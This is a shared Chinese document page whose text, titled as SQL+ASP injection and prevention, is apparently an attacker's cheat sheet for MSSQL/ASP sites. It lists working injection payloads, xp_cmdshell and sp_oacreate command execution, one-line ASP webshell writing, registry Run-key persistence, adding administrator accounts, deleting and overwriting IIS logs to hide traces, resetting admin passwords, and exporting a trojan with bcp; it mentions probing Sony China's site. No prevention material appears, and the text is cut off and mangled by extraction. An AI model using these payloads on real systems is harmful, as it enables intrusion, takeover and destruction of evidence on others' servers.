SQL+ASP注入及防范原理.docx

上传人:b****6 文档编号:5919082 上传时间:2023-01-02 格式:DOCX 页数:12 大小:24.52KB
下载 相关 举报
SQL+ASP注入及防范原理.docx_第1页
第1页 / 共12页
SQL+ASP注入及防范原理.docx_第2页
第2页 / 共12页
SQL+ASP注入及防范原理.docx_第3页
第3页 / 共12页
SQL+ASP注入及防范原理.docx_第4页
第4页 / 共12页
SQL+ASP注入及防范原理.docx_第5页
第5页 / 共12页
点击查看更多>>
下载资源
资源描述

SQL+ASP注入及防范原理.docx

《SQL+ASP注入及防范原理.docx》由会员分享,可在线阅读,更多相关《SQL+ASP注入及防范原理.docx(12页珍藏版)》请在冰豆网上搜索。

SQL+ASP注入及防范原理.docx

SQL+ASP注入及防范原理

      ASP+SQL注入/防止注入方法之详细命令和原理

一学会可以针对大部分SQL+ASP的网站

1、用^转义字符来写ASP(一句话木马)文件的方法:

?

master.dbo.xp_cmdshell'echo^executerequest^("l"^)^>c:

\mu.asp';--

?

echo^<%execute^(request^("l"^)^)%^>>c:

\mu.asp

2、显示SQL系统版本:

?

http:

//192.168.1.1/display.asp?

keyno=188and1=(select@@VERSION)

?

http:

//www.XXXX.com/FullStory.asp?

id=1and1=convert(int,@@version)--

MicrosoftVBScript编译器错误错误'800a03f6'

缺少'End'

/iisHelp/common/500-100.asp,行242

MicrosoftOLEDBProviderforODBCDrivers错误'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'MicrosoftSQLServer2000-8.00.760(IntelX86)Dec17200214:

22:

05Copyright(c)1988-2003MicrosoftCorporationDesktopEngineonWindowsNT5.0(Build2195:

ServicePack4)'toacolumnofdatatypeint.

/display.asp,行17

3、在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。

偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select*frommytablewhereidin

(1)",括号中的值就是我们提交的数据,它的结果与使用"select*frommytablewhereid=1"的查询结果完全相同。

所以访问页面的时候在URL后面加上")and1=1and1in(1"后原来的SQL语句就变成了"select*frommytablewhereidin

(1)and1=1and1in

(1)",这样就会出现期待已久的页面了。

暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。

对了,它就是由于类似"select*frommytablewherenamein('firstsee')"的查询语句造成的。

4、判断xp_cmdshell扩展存储过程是否存在:

http:

//192.168.1.1/display.asp?

keyno=188and1=(selectcount(*)FROMmaster.dbo.sysobjectswherextype='X'ANDname='xp_cmdshell')

恢复xp_cmdshell扩展存储的命令:

;execmaster.dbo.sp_addextendedproc'xp_cmdshell','e:

\inetput\web\xplog70.dll';--

5、向启动组中写入命令行和执行程序:

master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe/cnetusertestptlove/add'

6、查看当前的数据库名称:

?

http:

//192.168.1.1/display.asp?

keyno=188and0<>db_name(n)n改成0,1,2,3……就可以跨库了

?

http:

//www.XXXX.com/FullStory.asp?

id=1and1=convert(int,db_name())--

MicrosoftVBScript编译器错误错误'800a03f6'

缺少'End'

/iisHelp/common/500-100.asp,行242

MicrosoftOLEDBProviderforODBCDrivers错误'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'huidahouse'toacolumnofdatatypeint.

/display.asp,行17

7、列出当前所有的数据库名称:

select*frommaster.dbo.sysdatabases列出所有列的记录

selectnamefrommaster.dbo.sysdatabases仅列出name列的记录

8、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:

createTABLEmytmp(infoVARCHAR(400),IDintIDENTITY(1,1)NOTNULL)

DECLARE@shellINT

DECLARE@fsoINT

DECLARE@fileINT

DECLARE@isEndBIT

DECLARE@outVARCHAR(400)

EXECsp_oacreate'wscript.shell',@shelloutput

EXECsp_oamethod@shell,'run',null,'cmd.exe/cdirc:

\>c:

\temp.txt','0','true'

--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXECsp_oacreate'scripting.filesystemobject',@fsooutput

EXECsp_oamethod@fso,'opentextfile',@fileout,'c:

\temp.txt'

--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE@shell>0

BEGIN

EXECsp_oamethod@file,'Readline',@outout

insertINTOMYTMP(info)VALUES(@out)

EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout

IF@isEnd=1BREAK

ELSECONTINUE

END

dropTABLEMYTMP

----------

DECLARE@shellINT

DECLARE@fsoINT

DECLARE@fileINT

DECLARE@isEndBIT

DECLARE@outVARCHAR(400)

EXECsp_oacreate'wscript.shell',@shelloutput

EXECsp_oamethod@shell,'run',null,'cmd.exe/ccscriptC:

\Inetpub\AdminScripts\adsutil.vbsset/W3SVC/InProcessIsapiApps"C:

\WINNT\system32\idq.dll""C:

\WINNT\system32\inetsrv\httpext.dll""C:

\WINNT\system32\inetsrv\httpodbc.dll""C:

\WINNT\system32\inetsrv\ssinc.dll""C:

\WINNT\system32\msw3prt.dll""C:

\winnt\system32\inetsrv\asp.dll">c:

\temp.txt','0','true'

EXECsp_oacreate'scripting.filesystemobject',@fsooutput

EXECsp_oamethod@fso,'opentextfile',@fileout,'c:

\temp.txt'

WHILE@shell>0

BEGIN

EXECsp_oamethod@file,'Readline',@outout

insertINTOMYTMP(info)VALUES(@out)

EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout

IF@isEnd=1BREAK

ELSECONTINUE

END

以下是一行里面将WEB用户加到管理员组中:

DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccscriptC:

\Inetpub\AdminScripts\adsutil.vbsset/W3SVC/InProcessIsapiApps"C:

\WINNT\system32\idq.dll""C:

\WINNT\system32\inetsrv\httpext.dll""C:

\WINNT\system32\inetsrv\httpodbc.dll""C:

\WINNT\system32\inetsrv\ssinc.dll""C:

\WINNT\system32\msw3prt.dll""C:

\winnt\system32\inetsrv\asp.dll">c:

\temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:

\temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

以下是一行中执行EXE程序:

DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccscript.exeE:

\\score\fts\images\iis.vbslh1c:

\>c:

\temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:

\temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

SQL下三种执行CMD命令的方法:

先删除7.18号日志:

(1)execmaster.dbo.xp_cmdshell'delC:

\winnt\system32\logfiles\W3SVC5\ex050718.log>c:

\temp.txt'

(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/cdelC:

\winnt\system32\logfiles\W3SVC5\ex050718.log>c:

\temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:

\temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。

出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:

?

execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

注:

0禁止一切(默认)

1使能访问ACCESS,但是禁止其它

2禁止访问ACCESS,但是使能其他

3使能一切

?

这里仅给出sysadmin权限下使用的命令:

select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:

\winnt\system32\ias\ias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')

?

建立链接数据库'L0op8ack'参考命令:

EXECsp_addlinkedserver'L0op8ack','OLEDBProviderforJet','Microsoft.Jet.OLEDB.4.0','c:

\windows\system32\ias\ias.mdb'

?

如何使用链接数据库:

使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合

sp_addlinkedserver需要sysadmin或setupadmin权限

sp_addlinkedsrvlogin需要sysadmin或securityadmin权限

最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,

一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,

我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败

需要找一个一般用户可访问的mdb才可以:

?

新建链接服务器"L0op8ack":

EXECsp_addlinkedserver'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:

\winnt\system32\ias\ias.mdb';--

?

execsp_addlinkedsrvlogin'L0op8ack','false';--或

execsp_addlinkedsrvlogin'L0op8ack','false',NULL,'test1','ptlove';--

?

select*FROMOPENQUERY(L0op8ack,'selectshell("cmd.exe/cnetuser")');--

?

execsp_droplinkedsrvlogin'L0op8ack','false';--

?

execsp_dropserver'L0op8ack';--

再考贝一个其它文件来代替7.18日文件:

(1)execmaster.dbo.xp_cmdshell'copyC:

\winnt\system32\logfiles\W3SVC5\ex050716.logC:

\winnt\system32\logfiles\W3SVC5\ex050718.log>c:

\temp.txt'

(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccopyC:

\winnt\system32\logfiles\W3SVC5\ex050716.logC:

\winnt\system32\logfiles\W3SVC5\ex050718.log>c:

\temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:

\temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

(3)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/cnetuser>c:

\temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:

\temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

9、用update来更新表中的数据:

//xxx.xxx.xxx/abc.asp?

p=YY;update''target='_blank'>HTTP:

//xxx.xxx.xxx/abc.asp?

p=YY;update'target='_blank'>

//xxx.xxx.xxx/abc.asp?

p=YY;update'target='_blank'>HTTP:

//xxx.xxx.xxx/abc.asp?

p=YY;updateupload.dbo.adminsetpwd='a0b923820dcc509a'whereusername='www';--

www用户密码的16位MD5值为:

a0b923820dcc509a,即把密码改成1;

32位MD5值为:

,密码为

10、利用表内容导成文件功能

SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。

利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。

命令行格式如下:

bcp"select*fromtemp"queryoutc:

\inetpub\wwwroot\runcommand.asp–c–Slocalhost–Usa–Pupload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。

11、创建表、播入数据和读取数据的方法

?

创建表:

'and1=1unionselect1,2,3,4;createtable[dbo].[cyfd]([gyfd][char](255))--

?

往表里播入数据:

'and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)selecttop1namefromupload.dbo.sysobjectswherextype='U'andstatus>0,@resultoutputinsertintocyfd(gyfd)va

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 自然科学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1